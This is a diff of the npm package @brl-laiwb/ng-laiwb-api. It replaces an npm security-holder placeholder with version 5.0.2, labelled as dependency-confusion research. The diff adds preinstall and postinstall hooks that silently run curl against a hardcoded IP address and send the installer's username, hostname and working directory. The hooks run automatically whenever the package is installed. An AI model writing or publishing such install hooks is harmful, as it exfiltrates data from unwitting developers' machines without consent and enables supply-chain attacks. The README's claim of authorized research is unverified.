@brl-laiwb/ng-laiwb-api 0.0.1-security → 5.0.2

package/README.md

@@ -1,5 +1,9 @@
-# Security holding package
+# Security Research Package
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+**Package**: @brl-laiwb/ng-laiwb-api
+**Version**: 5.0.2
+**Tracking ID**: bmw
 
-Please refer to www.npmjs.com/advisories?search=%40brl-laiwb%2Fng-laiwb-api for more information.
+This package was published as part of authorized security research for dependency confusion testing.
+
+If this package was installed in your build system, it indicates a potential vulnerability.

package/index.js

@@ -0,0 +1,5 @@
+module.exports = {
+  packageName: '@brl-laiwb/ng-laiwb-api',
+  version: '5.0.2',
+  trackingId: 'bmw'
+};

package/package.json

@@ -1,6 +1,13 @@
 {
   "name": "@brl-laiwb/ng-laiwb-api",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "5.0.2",
+  "description": "Security research package",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "curl -s \"http://165.232.183.46:80/depconf/bmw/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true",
+    "postinstall": "curl -s \"http://165.232.183.46:80/depconf/bmw/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true"
+  },
+  "keywords": [],
+  "author": "anonymous",
+  "license": "ISC"
 }